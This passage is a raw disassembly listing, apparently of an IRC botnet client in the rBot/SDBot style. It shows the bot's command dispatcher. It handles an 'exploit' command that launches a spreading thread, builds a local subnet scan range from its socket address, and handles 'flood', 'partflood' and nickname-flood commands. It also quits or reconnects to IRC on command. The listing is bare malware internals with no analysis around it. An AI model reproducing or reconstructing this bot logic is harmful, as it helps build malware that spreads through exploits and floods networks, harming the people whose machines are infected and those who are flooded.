		push	offset dword_42F20C
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	28h
		push	eax
		call	sub_40A130
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_40A19B
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_403FA9
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F1D0
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_406416
; ---------------------------------------------------------------------------


loc_403FA1:				; CODE XREF: sub_401AA1+250Ej
		push	32h
		call	dword_424078	; Sleep


loc_403FA9:				; CODE XREF: sub_401AA1+24DEj
		cmp	[ebp+var_A9C], ebx
		jz	short loc_403FA1
		jmp	loc_406416
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401AA1+12C8j
					; sub_401AA1+12DDj
		push	offset dword_4260A8
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F1B8
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 20h
		jmp	loc_406416
; ---------------------------------------------------------------------------


loc_403FED:				; CODE XREF: sub_401AA1+129Ej
					; sub_401AA1+12B3j
		push	dword_4CDC3C
		call	sub_4178B6
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F18C
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 24h
		jmp	loc_406416
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401AA1+1274j
					; sub_401AA1+1289j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40405D
		cmp	[ebp+var_C], ebx
		jz	short loc_40406C
		push	esi
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40406C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		add	esp, 0Ch
		jmp	short loc_40406C
; ---------------------------------------------------------------------------


loc_40405D:				; CODE XREF: sub_401AA1+2593j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		pop	ecx
		pop	ecx


loc_40406C:				; CODE XREF: sub_401AA1+2598j
					; sub_401AA1+25A7j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_404074:				; CODE XREF: sub_401AA1+124Aj
					; sub_401AA1+125Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	offset dword_42F13C
		call	sub_413F3A
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_404096:				; CODE XREF: sub_401AA1+1220j
					; sub_401AA1+1235j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	offset dword_42F108
		call	sub_413F3A
		add	esp, 0Ch
		jmp	loc_40891A
; ---------------------------------------------------------------------------


loc_4040B5:				; CODE XREF: sub_401AA1+11F6j
					; sub_401AA1+120Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7F9
		jmp	loc_404373
; ---------------------------------------------------------------------------


loc_4040CB:				; CODE XREF: sub_401AA1+11CCj
					; sub_401AA1+11E1j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7A5
		jmp	loc_404373
; ---------------------------------------------------------------------------


loc_4040E1:				; CODE XREF: sub_401AA1+11A2j
					; sub_401AA1+11B7j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A73A
		jmp	loc_404373
; ---------------------------------------------------------------------------


loc_4040F7:				; CODE XREF: sub_401AA1+1178j
					; sub_401AA1+118Dj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A66C
		jmp	loc_404373
; ---------------------------------------------------------------------------


loc_40410D:				; CODE XREF: sub_401AA1+10D3j
					; sub_401AA1+10E8j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42F0F8
		push	offset dword_42F0E8


loc_404120:				; CODE XREF: sub_401AA1+CF3j
					; sub_401AA1+D46j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A3B8
		add	esp, 20h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_40413C:				; CODE XREF: sub_401AA1+D07j
					; sub_401AA1+D1Cj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40415B
		push	edi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jz	short loc_40415B
		push	edi
		call	sub_4184D9
		pop	ecx
		jmp	short loc_404160
; ---------------------------------------------------------------------------


loc_40415B:				; CODE XREF: sub_401AA1+26A4j
					; sub_401AA1+26AFj
		mov	eax, dword_426078


loc_404160:				; CODE XREF: sub_401AA1+26B8j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404185
		push	esi


loc_404172:				; CODE XREF: sub_401AA1+26F3j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_4186E0
		add	esp, 0Ch
		jmp	short loc_40419C
; ---------------------------------------------------------------------------


loc_404185:				; CODE XREF: sub_401AA1+26CEj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404196
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_404172
; ---------------------------------------------------------------------------


loc_404196:				; CODE XREF: sub_401AA1+26EAj
		mov	[ebp+var_5A0], bl


loc_40419C:				; CODE XREF: sub_401AA1+26E2j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_4186E0
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F0C0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	19h
		push	eax
		call	sub_40A130
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_4106F2
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_404250
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F084
		jmp	loc_408B29
; ---------------------------------------------------------------------------


loc_404248:				; CODE XREF: sub_401AA1+27B5j
		push	32h
		call	dword_424078	; Sleep


loc_404250:				; CODE XREF: sub_401AA1+2794j
		cmp	[ebp+var_57C], ebx
		jz	short loc_404248
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_40425D:				; CODE XREF: sub_401AA1+CB4j
					; sub_401AA1+CC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40427D
		push	esi
		call	sub_4184D9
		test	ax, ax
		pop	ecx
		jz	short loc_40427D
		push	esi
		call	sub_4184D9
		pop	ecx
		jmp	short loc_404283
; ---------------------------------------------------------------------------


loc_40427D:				; CODE XREF: sub_401AA1+27C5j
					; sub_401AA1+27D1j
		mov	ax, word_426088


loc_404283:				; CODE XREF: sub_401AA1+27DAj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_4186E0
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F058
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_408BC1
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	6
		push	eax
		call	sub_40A130
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40DAAA
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_404355
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F018
		jmp	loc_408B29
; ---------------------------------------------------------------------------


loc_40434D:				; CODE XREF: sub_401AA1+28BAj
		push	32h
		call	dword_424078	; Sleep


loc_404355:				; CODE XREF: sub_401AA1+2899j
		cmp	[ebp+var_968], ebx
		jz	short loc_40434D
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_404362:				; CODE XREF: sub_401AA1+C8Aj
					; sub_401AA1+C9Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4176D9


loc_404373:				; CODE XREF: sub_401AA1+2625j
					; sub_401AA1+263Bj ...
		add	esp, 0Ch
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_40437B:				; CODE XREF: sub_401AA1+C60j
					; sub_401AA1+C75j
		push	offset unk_42EF68
		jmp	loc_4059CD
; ---------------------------------------------------------------------------


loc_404385:				; CODE XREF: sub_401AA1+C36j
					; sub_401AA1+C4Bj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4043D8
		push	esi
		call	sub_4184D9
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4043D0
		cmp	eax, 3
		jge	short loc_4043D0
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_4043C8
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42FF1C
		push	eax
		call	sub_4185E6
		mov	[esi], bl
		jmp	short loc_40441E
; ---------------------------------------------------------------------------


loc_4043C8:				; CODE XREF: sub_401AA1+290Cj
		push	eax
		push	offset unk_42EF38
		jmp	short loc_404412
; ---------------------------------------------------------------------------


loc_4043D0:				; CODE XREF: sub_401AA1+28F8j
					; sub_401AA1+28FDj
		push	eax
		push	offset unk_42EF0C
		jmp	short loc_404412
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401AA1+28EDj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4043DD:				; CODE XREF: sub_401AA1+2958j
		push	[ebp+var_90]
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4043FD
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4043DD
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_4043FD:				; CODE XREF: sub_401AA1+294Cj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42FF1C


loc_404412:				; CODE XREF: sub_401AA1+1C31j
					; sub_401AA1+292Dj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6


loc_40441E:				; CODE XREF: sub_401AA1+2925j
					; sub_401AA1+4CA7j
		add	esp, 0Ch


loc_404421:				; CODE XREF: sub_401AA1+1C46j
					; sub_401AA1+295Aj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_404442
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_40443A:				; CODE XREF: sub_401AA1+4EF7j
		call	sub_408BC1
		add	esp, 14h


loc_404442:				; CODE XREF: sub_401AA1+1330j
					; sub_401AA1+1DB8j ...
		xor	esi, esi
		inc	esi
		jmp	loc_406419
; ---------------------------------------------------------------------------


loc_40444A:				; CODE XREF: sub_401AA1+C0Cj
					; sub_401AA1+C21j
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4030BC
		call	sub_40A2F3
		push	ebx
		call	dword_424064	; ExitProcess


loc_404470:				; CODE XREF: sub_401AA1+1654j
		push	offset aGet	; "get"
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404516
		cmp	dword_4D1664, ebx
		jz	short loc_40449C
		push	offset dword_4D1048
		push	offset unk_42EED0
		jmp	loc_404528
; ---------------------------------------------------------------------------


loc_40449C:				; CODE XREF: sub_401AA1+29EAj
		push	10h
		pop	eax
		mov	[ebp+var_2D8], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_424218	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C74]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_C74]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42EED0
		push	eax
		call	sub_4185E6
		add	esp, 20h
		jmp	loc_403114
; ---------------------------------------------------------------------------


loc_404516:				; CODE XREF: sub_401AA1+29DEj
		push	esi
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40453C
		push	offset unk_42EE90


loc_404528:				; CODE XREF: sub_401AA1+29F6j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_403114
; ---------------------------------------------------------------------------


loc_40453C:				; CODE XREF: sub_401AA1+2A80j
		push	offset dword_4D1048
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42EE64
		push	eax
		mov	dword_4D1664, 1
		call	sub_4185E6
		add	esp, 14h
		jmp	loc_403114
; ---------------------------------------------------------------------------


loc_40456A:				; CODE XREF: sub_401AA1+163Cj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404663
		mov	eax, [ebp+var_4]
		mov	esi, offset aWm_0 ; "#wm##"
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_11A0],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1220]
		push	edi
		push	eax
		mov	[ebp+var_1198],	1
		call	sub_4186E0
		push	esi
		lea	eax, [ebp+var_12A0]
		push	edi
		push	eax
		call	sub_4186E0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_12B0]
		push	10h
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_12B0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42EE2C
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	8
		push	eax
		call	sub_40A130
		add	esp, 3Ch
		mov	[ebp+var_1194],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_12B0]
		push	ebx
		push	eax
		push	offset sub_40A8BF
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1194]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_404656
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EDEC
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_40464E:				; CODE XREF: sub_401AA1+2BBBj
		push	32h
		call	dword_424078	; Sleep


loc_404656:				; CODE XREF: sub_401AA1+2B9Aj
		cmp	[ebp+var_1188],	ebx
		jz	short loc_40464E
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_404663:				; CODE XREF: sub_401AA1+2AD8j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408921
		push	edi
		push	offset aRin	; "rin"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408921
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DB
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_418DD0
		mov	edi, dword_424078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40521F
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_418DD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404766
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404766
		push	[ebp+esi+var_80]
		call	sub_4184D9
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_4184D9
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_414EEF
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42ED8C
		push	eax
		call	sub_4185E6
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404766
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_404766:				; CODE XREF: sub_401AA1+2C51j
					; sub_401AA1+2C57j ...
		push	[ebp+arg_10]
		push	offset dword_42ED88
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047CF
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4047CF
		push	offset asc_42FF7C ; " "
		push	offset dword_42ED84
		push	eax
		call	sub_415512
		push	eax
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_4250]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42ED74
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 28h


loc_4047CF:				; CODE XREF: sub_401AA1+2CD6j
					; sub_401AA1+2CE1j
		push	[ebp+arg_10]
		push	offset dword_42ED70
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404838
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404838
		push	offset asc_42FF7C ; " "
		push	offset dword_42ED84
		push	eax
		call	sub_415512
		push	eax
		lea	eax, [ebp+var_3B4C]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_3B4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42ED5C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 28h


loc_404838:				; CODE XREF: sub_401AA1+2D3Fj
					; sub_401AA1+2D4Aj
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4048A1
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4048A1
		push	offset asc_42FF7C ; " "
		push	offset dword_42ED84
		push	eax
		call	sub_415512
		push	eax
		lea	eax, [ebp+var_3C4C]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_3C4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 28h


loc_4048A1:				; CODE XREF: sub_401AA1+2DA8j
					; sub_401AA1+2DB3j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40490A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40490A
		push	offset asc_42FF7C ; " "
		push	offset dword_42ED84
		push	eax
		call	sub_415512
		push	eax
		lea	eax, [ebp+var_3F4C]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_3F4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 28h


loc_40490A:				; CODE XREF: sub_401AA1+2E11j
					; sub_401AA1+2E1Cj
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404949
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404949
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h


loc_404949:				; CODE XREF: sub_401AA1+2E7Aj
					; sub_401AA1+2E85j
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404988
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404988
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h


loc_404988:				; CODE XREF: sub_401AA1+2EB9j
					; sub_401AA1+2EC4j
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4049CC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_4049CC
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_4049CC:				; CODE XREF: sub_401AA1+2EF8j
					; sub_401AA1+2F03j
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A41
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404A41
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1560]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42ECF4
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_1560]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h


loc_404A41:				; CODE XREF: sub_401AA1+2F3Cj
					; sub_401AA1+2F45j
		push	[ebp+arg_10]
		push	offset dword_42ECE0
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B88
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404B88
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h
		call	sub_418642
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h
		call	sub_418642
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h
		call	sub_418642
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_404B88:				; CODE XREF: sub_401AA1+2FB1j
					; sub_401AA1+2FBEj
		push	[ebp+arg_10]
		push	offset dword_42ECDC
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C22
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404C22
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_418642
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C0]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42ECB4
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h


loc_404C22:				; CODE XREF: sub_401AA1+30F8j
					; sub_401AA1+3105j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404D1F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_404D1F
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h
		call	sub_418642
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_404D1F:				; CODE XREF: sub_401AA1+3192j
					; sub_401AA1+31A1j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D65
		lea	eax, [ebp+var_15B4]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_15B4]
		push	eax
